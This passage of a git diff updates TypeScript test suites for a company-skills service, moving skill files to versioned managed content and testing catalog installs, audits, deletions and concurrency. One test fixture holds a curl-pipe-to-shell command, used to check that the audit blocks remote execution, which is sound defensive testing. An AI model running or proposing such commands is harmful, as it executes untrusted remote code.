expect(fs.readFile(path.join(result!.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toContain("# Review"); + expect(result?.skill.sourceLocator).toBeNull(); + expect((await svc.readFile(companyId, result!.skill.id, "SKILL.md"))!.content).toContain("# Review"); }); it("returns unchanged for an already-current catalog skill", async () => { @@ -386,10 +386,21 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { expect(rows).toHaveLength(1); }); + async function publishCatalogContent(skill: CompanySkill, markdown: string) { + const { managedSkillContent } = await import("../services/managed-skill-content.js"); + const content = managedSkillContent(db); + const base = (await svc.getById(skill.companyId, skill.id))!; + const files = (await content.read(skill.companyId, skill.id, base.currentVersionId!)).files + .map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file); + await content.publish(base, await content.prepare(skill.companyId, files), { + markdown, metadata: { ...base.metadata, userModifiedAt: new Date().toISOString() }, + }); + } + it("detects installed catalog drift during update checks", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8"); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`); const status = await svc.updateStatus(companyId, installed.skill.id); @@ -402,6 +413,50 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { expect(status?.installedHash).not.toBe(sampleCatalogSkill.contentHash); }); + it("reinstalls modified catalog content without conflicting with its own audit", async () => { + const companyId = await createCompany(); + const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`); + + const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true }); + + expect(result.action).toBe("updated"); + expect(result.skill.id).toBe(installed.skill.id); + expect(result.skill.metadata).toMatchObject({ auditVerdict: "pass", userModifiedAt: null }); + await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); + }); + + it("reinstalls the same catalog release with a new slug", async () => { + const companyId = await createCompany(); + const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); + + const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, slug: "review-renamed" }); + + expect(result.action).toBe("updated"); + expect(result.skill).toMatchObject({ id: installed.skill.id, slug: "review-renamed" }); + await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); + }); + + it("rejects a forced catalog reinstall when metadata changes during preparation", async () => { + const companyId = await createCompany(); + const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`); + const base = (await svc.getById(companyId, installed.skill.id))!; + mockCatalogService.copyCatalogSkillFile.mockImplementationOnce(async (_ref: string, _filePath: string, targetPath: string) => { + await db.update(companySkills).set({ metadata: { ...base.metadata, concurrentNote: "keep this edit" } }) + .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, installed.skill.id))); + await fs.writeFile(targetPath, sampleSkillMarkdown, "utf8"); + }); + + await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true })) + .rejects.toMatchObject({ status: 409 }); + expect(await svc.getById(companyId, installed.skill.id)).toMatchObject({ + currentVersionId: base.currentVersionId, metadata: expect.objectContaining({ concurrentNote: "keep this edit" }), + }); + await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")) + .resolves.toMatchObject({ content: `${sampleSkillMarkdown}\nModified\n` }); + }); + it("returns unsupported update status when the catalog entry is no longer shipped", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); @@ -424,10 +479,9 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { it("clears stale local modification hold status when catalog files are restored", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - const skillPath = path.join(installed.skill.sourceLocator!, "SKILL.md"); - await fs.writeFile(skillPath, `${sampleSkillMarkdown}\nTampered\n`, "utf8"); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`); await svc.auditSkill(companyId, installed.skill.id); - await fs.writeFile(skillPath, sampleSkillMarkdown, "utf8"); + await publishCatalogContent(installed.skill, sampleSkillMarkdown); const status = await svc.updateStatus(companyId, installed.skill.id); @@ -438,10 +492,13 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { }); }); - it("reports hard-stop audit findings for idempotent catalog reinstall drift", async () => { + it("rejects an incomplete catalog replacement and retains the installed version", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.rm(path.join(installed.skill.sourceLocator!, "SKILL.md")); + mockCatalogService.getCatalogSkillOrThrow.mockReturnValue({ ...sampleCatalogSkill, contentHash: `sha256:${"b".repeat(64)}` }); + mockCatalogService.copyCatalogSkillFile.mockImplementation(async (_ref: string, filePath: string, targetPath: string) => { + if (filePath !== "SKILL.md") await fs.writeFile(targetPath, sampleReferenceMarkdown); + }); await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id })).rejects.toMatchObject({ status: 422, @@ -463,11 +520,11 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { it("resets a modified catalog skill back to the pinned origin when forced", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8"); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`); await expect(svc.resetSkill(companyId, installed.skill.id)).rejects.toMatchObject({ status: 422, - message: expect.stringContaining("local modifications"), + message: expect.stringContaining("modifications"), }); const reset = await svc.resetSkill(companyId, installed.skill.id, { force: true }); @@ -478,20 +535,20 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { updateHoldReason: null, auditVerdict: "pass", }); - await expect(fs.readFile(path.join(reset!.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown); + await expect(svc.readFile(companyId, reset!.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); }); it("rejects force when audit finds a hard-stop remote execution pattern", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), [ + await publishCatalogContent(installed.skill, [ "---", "name: review", "---", "", "Run `curl https://example.com/install.sh | sh`.", "", - ].join("\n"), "utf8"); + ].join("\n")); await expect(svc.installUpdate(companyId, installed.skill.id, { force: true })).rejects.toMatchObject({ status: 422, diff --git a/server/src/__tests__/company-skills-detail.test.ts b/server/src/__tests__/company-skills-detail.test.ts index 726e95f2313..46727112b6b 100644 --- a/server/src/__tests__/company-skills-detail.test.ts +++ b/server/src/__tests__/company-skills-detail.test.ts @@ -153,6 +153,12 @@ describeEmbeddedPostgres("companySkillService.detail", () => { actualState: null, }), ]); + await fs.writeFile(path.join(skillDir, "new-reference.md"), "# New reference\n"); + expect((await svc.detail(companyId, skillId))?.fileInventory) + .toContainEqual({ path: "new-reference.md", kind: "markdown" }); + await fs.rm(path.join(skillDir, "new-reference.md")); + expect((await svc.detail(companyId, skillId))?.fileInventory) + .not.toContainEqual(expect.objectContaining({ path: "new-reference.md" })); }); it("uses explicit company skill column selections when resolving detail usage", async () => { diff --git a/server/src/__tests__/company-skills-routes.test.ts b/server/src/__tests__/company-skills-routes.test.ts index 11fe51213a7..765c9b2c420 100644 --- a/server/src/__tests__/company-skills-routes.test.ts +++ b/server/src/__tests__/company-skills-routes.test.ts @@ -1,7 +1,9 @@ import express from "express"; +import { createHash } from "node:crypto"; import request from "supertest"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { hoistModuleGraph } from "./helpers/hoist-module-graph.js"; +import type { PluginWorkerManager } from "../services/plugin-worker-manager.js"; const mockCaptureRunIdentity = vi.hoisted(() => vi.fn()); @@ -76,6 +78,7 @@ const mockHeartbeatService = vi.hoisted(() => ({ wakeup: vi.fn(), cancelRun: vi.fn(), })); +const mockHeartbeatFactory = vi.hoisted(() => vi.fn()); const mockCatalogService = vi.hoisted(() => ({ listCatalogSkillsOrEmpty: vi.fn(), @@ -211,7 +214,7 @@ function registerModuleMocks() { agentService: () => mockAgentService, companySkillService: () => mockCompanySkillService, issueService: () => mockIssueService, - heartbeatService: () => mockHeartbeatService, + heartbeatService: mockHeartbeatFactory, logActivity: mockLogActivity, })); } @@ -294,7 +297,8 @@ describe("company skill mutation permissions", () => { return { companySkillRoutes, errorHandler }; }); - function createApp(actor: Record, onResponse?: (res: express.Response) => void) { + function createApp(actor: Record, onResponse?: (res: express.Response) => void, database: any = {}, + options: { pluginWorkerManager?: PluginWorkerManager } = {}) { const { companySkillRoutes, errorHandler } = routeModules.value; const app = express(); app.use(express.json()); @@ -303,13 +307,14 @@ describe("company skill mutation permissions", () => { onResponse?.(res); next(); }); - app.use("/api", companySkillRoutes({} as any)); + app.use("/api", companySkillRoutes(database, options)); app.use(errorHandler); return app; } beforeEach(() => { vi.clearAllMocks(); + mockHeartbeatFactory.mockReturnValue(mockHeartbeatService); mockCaptureRunIdentity.mockResolvedValue({ run: { responsibleUserId: "validated-owner" } }); mockSkillSourceService.sourceForSkill.mockResolvedValue(null); mockSkillSourceService.importFromUrl.mockImplementation((companyId, source) => mockCompanySkillService.importFromSource(companyId, source)); @@ -715,6 +720,25 @@ describe("company skill mutation permissions", () => { mockReflectionCoachMutationGate.assertConsented.mockResolvedValue(undefined); }); + it("replays a concurrent identical save committed after the first receipt lookup", async () => { + const expectedVersionId = "11111111-1111-4111-8111-111111111111"; + const input = { path: "SKILL.md", content: "# Saved", expectedVersionId }; + const receipt = { skillId: "skill-1", path: "SKILL.md", versionId: "22222222-2222-4222-8222-222222222222", studioPath: "/skills/studio/skill-1" }; + const where = vi.fn().mockResolvedValueOnce([]).mockResolvedValueOnce([{ details: { + fingerprint: createHash("sha256").update(JSON.stringify(input)).digest("hex"), receipt, + } }]); + const database = { select: () => ({ from: () => ({ where }) }), execute: vi.fn(), transaction: vi.fn() }; + database.transaction.mockImplementation(callback => callback(database)); + mockCompanySkillService.getById.mockResolvedValue({ id: "skill-1", sourceType: "managed" }); + mockCompanySkillService.updateFile.mockRejectedValueOnce(Object.assign(new Error("Skill version changed"), { status: 409 })); + const app = createApp(boardActor(), undefined, database); + const response = await request(app).patch("/api/companies/company-1/skills/skill-1/files") + .send({ ...input, idempotencyKey: "same-save" }).expect(200); + expect(response.body).toEqual(receipt); + expect(database.execute).toHaveBeenCalledOnce(); + expect(where).toHaveBeenCalledTimes(2); + }); + it("allows local board operators to mutate company skills", async () => { const res = await request(await createApp(boardActor())) .post("/api/companies/company-1/skills/import") @@ -1194,7 +1218,7 @@ describe("company skill mutation permissions", () => { expect(mockCompanySkillService.installFromCatalog).toHaveBeenCalledWith("company-1", { catalogSkillId: "paperclipai:bundled:software-development:review", slug: "review", - }); + }, expect.any(Function)); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ companyId: "company-1", action: "company.skill_catalog_installed", @@ -1559,7 +1583,7 @@ describe("company skill mutation permissions", () => { expect(mockCompanySkillService.createVersion).toHaveBeenCalledWith("company-1", "skill-1", { label: "v1" }, { type: "user", userId: "user-1", - }); + }, { publication: expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }) }); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ action: "company.skill_version_created", entityType: "company_skill_version", @@ -1582,7 +1606,7 @@ describe("company skill mutation permissions", () => { }, { type: "user", userId: "user-1", - }); + }, expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) })); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ action: "company.skill_file_deleted", entityType: "company_skill", @@ -1621,6 +1645,7 @@ describe("company skill mutation permissions", () => { type: "user", userId: "user-1", }, + expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }), ); await request(app).get("/api/companies/company-1/skills/skill-1/fork-precheck").expect(200); @@ -1667,6 +1692,7 @@ describe("company skill mutation permissions", () => { "company-1", "skill-1", { name: "Ship PR", slug: "ship-pr" }, + expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }), ); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ action: "company.skill_renamed", @@ -1961,6 +1987,7 @@ describe("company skill mutation permissions", () => { }); it("creates and cancels skill test runs through hidden issue orchestration", async () => { + const pluginWorkerManager = {} as PluginWorkerManager; mockCompanySkillService.createTestRun.mockImplementationOnce(async ( _companyId: string, _skillId: string, @@ -2008,7 +2035,8 @@ describe("company skill mutation permissions", () => { }; }); - const app = await createApp(boardActor()); + const app = await createApp(boardActor(), undefined, {}, { pluginWorkerManager }); + expect(mockHeartbeatFactory).toHaveBeenCalledWith(expect.anything(), { pluginWorkerManager }); const created = await request(app) .post("/api/companies/company-1/skills/skill-1/test-runs") @@ -2172,7 +2200,7 @@ describe("company skill mutation permissions", () => { expect(res.body).toEqual({ error: 'Cannot delete skill "Find Skills" while it is still used by Builder, Reviewer. Detach it from those agents first.', }); - expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1"); + expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1", expect.any(Function), expect.any(Function)); expect(mockLogActivity).not.toHaveBeenCalled(); }); }); diff --git a/server/src/__tests__/company-skills-runtime-selection.test.ts b/server/src/__tests__/company-skills-runtime-selection.test.ts index d7bc8f5f437..b2ae2568caf 100644 --- a/server/src/__tests__/company-skills-runtime-selection.test.ts +++ b/server/src/__tests__/company-skills-runtime-selection.test.ts @@ -83,7 +83,7 @@ describeDatabase("selected runtime skill reconciliation", () => { } finally { insert.mockRestore(); update.mockRestore(); } }); - it("refreshes selected bundled paths after an installation moves even when the old directory remains", async () => { + it("uses the committed bundled version even when a legacy installation path contains different bytes", async () => { const service=companySkillService(db); const initial=await service.listRuntimeSkillEntries(companyId,{includeLegacy:true,snapshotLatest:true}); const selected=initial[0]!; @@ -94,7 +94,7 @@ describeDatabase("selected runtime skill reconciliation", () => { const current=await service.listRuntimeSkillEntries(companyId,{onlyKeys:new Set([selected.key]),snapshotLatest:true}); expect(await fs.readFile(path.join(current[0]!.source,"SKILL.md"),"utf8")).toBe(await fs.readFile(path.join(selected.source,"SKILL.md"),"utf8")); const [row]=await db.select().from(companySkills).where(and(eq(companySkills.companyId,companyId),eq(companySkills.key,selected.key))); - expect(row!.sourceLocator).not.toBe(old); + expect(row!.currentVersionId).toBe(selected.versionId); expect(await fs.readFile(path.join(old,"SKILL.md"),"utf8")).toBe("Old installation content"); }); diff --git a/server/src/__tests__/company-skills-service.test.ts b/server/src/__tests__/company-skills-service.test.ts index a88634af5e5..8da12bed840 100644 --- a/server/src/__tests__/company-skills-service.test.ts +++ b/server/src/__tests__/company-skills-service.test.ts @@ -3,7 +3,7 @@ import os from "node:os"; import path from "node:path"; import { promises as fs } from "node:fs"; import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import { eq } from "drizzle-orm"; +import { and, eq } from "drizzle-orm"; import { agents, authUsers, @@ -64,7 +64,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { process.env.PAPERCLIP_INSTANCE_ID = "default"; db = createDb(tempDb.connectionString); svc = companySkillService(db); - }, 20_000); + }, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000); afterEach(async () => { for (const skill of await db.select().from(companySkills)) { @@ -106,46 +106,27 @@ describeEmbeddedPostgres("companySkillService.list", () => { fileInventory: [{ path: "SKILL.md", kind: "skill" }, ...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const }))], }); + await svc.createVersion(companyId, skillId, {}, null, { skipInventoryRefresh: true, + fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Installed skill" }, + ...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const, content: "a".repeat(40) }))] }); return { companyId, skillId, key: `company/${companyId}/cached` }; } - it("refreshes once, reuses pinned runtime contents across service instances, and ignores cosmetic changes", async () => { + it("reads installed versions without upstream access and ignores cosmetic provenance changes", async () => { const { companyId, skillId, key } = await createPinnedRuntimeFixture(); - const upstream = vi.fn(async (url: string | URL) => new Response(String(url))); + const upstream = vi.fn().mockRejectedValue(new Error("Upstream unavailable")); vi.stubGlobal("fetch", upstream); - const select = vi.spyOn(db, "select"); try { - const cold = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!; + const cold = (await svc.listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)!; expect(cold.sourceStatus).toBe("available"); - expect(select.mock.calls.filter(([fields]) => fields && Object.keys(fields).length === 1 && fields.id === companies.id)).toHaveLength(1); - expect(upstream).toHaveBeenCalledTimes(21); - expect(new Set(upstream.mock.calls.map(([url]) => String(url))).size).toBe(21); - const before = await fs.stat(path.join(cold.source, "SKILL.md")); - upstream.mockClear(); - upstream.mockRejectedValue(new Error("Upstream outage")); - await db.update(companySkills).set({ name: "New display label", updatedAt: new Date(), metadata: { owner: "acme", repo: "cache", repoSkillDir: ".", trackingRef: "main", starred: true } }).where(eq(companySkills.id, skillId)); - const warm = (await companySkillService(db).listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!; - expect(warm).toEqual(cold); + await db.update(companySkills).set({ name: "New display label", sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId)); + expect((await companySkillService(db).listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)).toEqual(cold); + expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toBe("a".repeat(40)); expect(upstream).not.toHaveBeenCalled(); - expect((await fs.stat(path.join(warm.source, "SKILL.md"))).mtimeMs).toBe(before.mtimeMs); - const readOnly = (await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!; - expect(readOnly).toEqual(warm); - await db.update(companySkills).set({ sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId)); - expect((await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!.sourceStatus).toBe("missing"); - expect(upstream).not.toHaveBeenCalled(); - // An unavailable newly installed revision must never use the older cache. - expect((await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!.sourceStatus).toBe("missing"); - expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40)); - upstream.mockImplementation(async (url) => new Response(String(url))); - const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!; - expect(next.sourceStatus).toBe("available"); - expect(next.source).not.toBe(cold.source); - expect(await fs.readFile(path.join(next.source, "references/0.md"), "utf8")).toContain("b".repeat(40)); - expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40)); - } finally { select.mockRestore(); vi.unstubAllGlobals(); } + } finally { vi.unstubAllGlobals(); } }); - it("deduplicates runtime downloads for twenty concurrent service callers and isolates companies", async () => { + it("shares immutable materializations for twenty concurrent callers and isolates companies", async () => { const first = await createPinnedRuntimeFixture(); const second = await createPinnedRuntimeFixture(); const upstream = vi.fn(async (url: string | URL) => new Response(String(url))); @@ -155,10 +136,10 @@ describeEmbeddedPostgres("companySkillService.list", () => { const sources = batches.map((entries) => entries.find((entry) => entry.key === first.key)!); expect(sources.every((entry) => entry.sourceStatus === "available")).toBe(true); expect(new Set(sources.map((entry) => entry.source)).size).toBe(1); - expect(upstream).toHaveBeenCalledTimes(21); + expect(upstream).not.toHaveBeenCalled(); const other = (await svc.listRuntimeSkillEntries(second.companyId)).find((entry) => entry.key === second.key)!; expect(other.source).not.toBe(sources[0].source); - expect(upstream).toHaveBeenCalledTimes(42); + expect(upstream).not.toHaveBeenCalled(); } finally { vi.unstubAllGlobals(); } }); @@ -198,14 +179,16 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(await svc.getById(companyId, skill.id)).not.toBeNull(); } finally { lockFailure.mockRestore(); } await svc.deleteSkill(companyId, skill.id); - await expect(fs.stat(path.dirname(path.dirname(next.source)))).rejects.toMatchObject({ code: "ENOENT" }); + expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill.id))).toEqual([]); } finally { vi.unstubAllGlobals(); } }); it("observes edits to a direct local source on the next preparation", async () => { const companyId = randomUUID(); await db.insert(companies).values({ id: companyId, name: "Local cache", issuePrefix: `T${companyId.slice(0, 6)}` }); - const skill = await svc.createLocalSkill(companyId, { name: "Local source", slug: "local-source" }); + const directory = await createManagedSkillDir(companyId, "linked-local-"); + await fs.writeFile(path.join(directory, "SKILL.md"), "---\nname: local-source\n---\nLocal source\n"); + const skill = (await svc.importFromSource(companyId, directory)).imported[0]!; const first = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!; await fs.appendFile(path.join(first.source, "SKILL.md"), "\nNew local instructions\n"); const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!; @@ -226,7 +209,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(results.filter((result) => result.status === "rejected")).toHaveLength(1); const skill = await svc.getByKey(companyId, `company/${companyId}/same-slug`); expect(skill).toBeTruthy(); - expect(await fs.readFile(path.join(skill!.sourceLocator!, "SKILL.md"), "utf8")) + expect((await svc.readFile(companyId, skill!.id, "SKILL.md"))!.content) .toMatch(/^# (first|second)\n$/); expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill!.id))) .toHaveLength(1); @@ -242,8 +225,8 @@ describeEmbeddedPostgres("companySkillService.list", () => { })).rejects.toThrow("simulate outer rollback"); const retried = await svc.createLocalSkill(companyId, input); - expect(await fs.readFile(path.join(retried.sourceLocator!, "SKILL.md"), "utf8")).toBe(input.markdown); - expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(1); + expect((await svc.readFile(companyId, retried.id, "SKILL.md"))!.content).toBe(input.markdown); + expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1); expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, retried.id))).toHaveLength(1); }); @@ -254,9 +237,9 @@ describeEmbeddedPostgres("companySkillService.list", () => { await svc.deleteSkill(companyId, original.id); const replacement = await svc.createLocalSkill(companyId, { name: "Recreate", slug: "recreate", markdown: "# New instructions\n" }); expect(replacement.id).not.toBe(original.id); - expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n"); + expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n"); expect(await svc.deleteSkill(companyId, original.id)).toBeNull(); - expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n"); + expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n"); }); it.each(["save", "delete", "rename"] as const)("rejects a stale file %s after the skill is replaced", async (operation) => { @@ -316,59 +299,38 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(movedReplacementPaths).toEqual([]); expect(intercepted).toBe(true); expect(replacement).toBeDefined(); - expect(await fs.readFile(path.join(replacement!.sourceLocator!, "notes.md"), "utf8")).toBe("Replacement notes"); + expect((await svc.readFile(companyId, replacement!.id, "notes.md"))!.content).toBe("Replacement notes"); expect(await svc.getById(companyId, replacement!.id)).not.toBeNull(); }); - it("restores managed source files when the deletion transaction fails", async () => { + it("retains the committed managed version when deletion rolls back", async () => { const companyId = randomUUID(); - await db.insert(companies).values({ id: companyId, name: "Delete rollback", issuePrefix: `T${companyId.slice(0, 6)}` }); - const original = await svc.createLocalSkill(companyId, { name: "Retained", slug: "retained", markdown: "# Keep these instructions\n" }); - const failingDb = new Proxy(db, { - get(target, property, receiver) { - if (property === "transaction") return (callback: (tx: any) => Promise) => target.transaction(async (tx) => callback(new Proxy(tx, { - get(transaction, key, transactionReceiver) { - if (key === "delete") return () => { throw new Error("Deletion write failed"); }; - return Reflect.get(transaction, key, transactionReceiver); - }, - }))); - return Reflect.get(target, property, receiver); - }, - }); - await expect(companySkillService(failingDb).deleteSkill(companyId, original.id)).rejects.toThrow("Deletion write failed"); - expect(await svc.getById(companyId, original.id)).not.toBeNull(); - expect(await fs.readFile(path.join(original.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Keep these instructions\n"); + await seedCompany(companyId); + const original = await svc.createLocalSkill(companyId, { name: "Retained", markdown: "# Keep these instructions\n" }); + await expect(svc.deleteSkills(companyId, [original.id], async () => { throw new Error("Deletion write failed"); })) + .rejects.toThrow("Deletion write failed"); + expect(await svc.readFile(companyId, original.id, "SKILL.md")) + .toMatchObject({ versionId: original.currentVersionId, content: "# Keep these instructions\n" }); }); - it("serializes duplicate deletes with recreation without removing new files", async () => { + it("serializes duplicate deletes with recreation without removing the new identity", async () => { const companyId = randomUUID(); - await db.insert(companies).values({ id: companyId, name: "Delete concurrency", issuePrefix: `T${companyId.slice(0, 6)}` }); + await seedCompany(companyId); const original = await svc.createLocalSkill(companyId, { name: "Concurrent", slug: "concurrent-delete", markdown: "# Old\n" }); - let release!: () => void; - let staged!: () => void; - const gate = new Promise((resolve) => { release = resolve; }); - const ready = new Promise((resolve) => { staged = resolve; }); - const rename = fs.rename.bind(fs); - const pause = vi.spyOn(fs, "rename").mockImplementation(async (source, target) => { - await rename(source, target); - if (source === original.sourceLocator) { - staged(); - await gate; - } - }); + let release!: () => void, staged!: () => void; + const gate = new Promise(resolve => { release = resolve; }); + const ready = new Promise(resolve => { staged = resolve; }); + const deletion = svc.deleteSkills(companyId, [original.id], async () => { staged(); await gate; }); try { - const deletion = svc.deleteSkill(companyId, original.id); await ready; const duplicate = svc.deleteSkill(companyId, original.id); const creation = svc.createLocalSkill(companyId, { name: "Replacement", slug: original.slug, markdown: "# Replacement\n" }); release(); const [, repeatedDelete, replacement] = await Promise.all([deletion, duplicate, creation]); expect(repeatedDelete).toBeNull(); - expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Replacement\n"); - } finally { - release(); - pause.mockRestore(); - } + expect(replacement.id).not.toBe(original.id); + expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# Replacement\n"); + } finally { release(); } }); it("does not remove imported local source files when deleting a skill", async () => { @@ -382,23 +344,14 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(await fs.readFile(path.join(source, "SKILL.md"), "utf8")).toBe(markdown); }); - it("rejects a differing retry after rollback without changing durable bytes", async () => { + it("permits a fresh create after rollback without adopting the orphaned candidate", async () => { const companyId = randomUUID(); - await db.insert(companies).values({ id: companyId, name: "Rollback conflict", issuePrefix: `T${companyId.slice(0, 6)}` }); - const original = { name: "Original", slug: "rollback-conflict", markdown: "# original bytes\n" }; - await expect(db.transaction(async (tx) => { - await companySkillService(tx as any, { packageDb: db }).createLocalSkill(companyId, original); - throw new Error("simulate outer rollback"); - })).rejects.toThrow("simulate outer rollback"); - - await expect(svc.createLocalSkill(companyId, { - name: "Different", - slug: original.slug, - markdown: "# changed bytes\n", - })).rejects.toMatchObject({ status: 409 }); - const managedRoot = path.join(paperclipHome!, "instances", "default", "skills", companyId); - expect(await fs.readFile(path.join(managedRoot, original.slug, "SKILL.md"), "utf8")).toBe(original.markdown); - expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0); + await seedCompany(companyId); + await expect(svc.createLocalSkill(companyId, { name: "Original", slug: "rolled-back", markdown: "# orphan\n" }, null, + { afterPublish: async () => { throw new Error("rollback"); } })).rejects.toThrow("rollback"); + const saved = await svc.createLocalSkill(companyId, { name: "Different", slug: "rolled-back", markdown: "# committed\n" }); + expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# committed\n"); + expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1); }); it("does not adopt an unrelated preexisting managed directory", async () => { @@ -409,20 +362,20 @@ describeEmbeddedPostgres("companySkillService.list", () => { await fs.mkdir(skillDir, { recursive: true }); await fs.writeFile(path.join(skillDir, "SKILL.md"), "# unrelated\n", "utf8"); - await expect(svc.createLocalSkill(companyId, { - name: "Requested", - slug: "occupied", - markdown: "# requested\n", - })).rejects.toMatchObject({ status: 409 }); + const saved = await svc.createLocalSkill(companyId, { + name: "Requested", slug: "occupied", markdown: "# requested\n", + }); + expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# requested\n"); expect(await fs.readFile(path.join(skillDir, "SKILL.md"), "utf8")).toBe("# unrelated\n"); - expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0); + expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1); }); it("observes supporting-only local file saves across runtime preparations and service restarts", async () => { const companyId = randomUUID(); await db.insert(companies).values({ id: companyId, name: "Local supporting files", issuePrefix: `T${companyId.slice(0, 6)}` }); - const skill = await svc.createLocalSkill(companyId, { name: "Local references", slug: "local-references" }); - const source = skill.sourceLocator!; + const source = await 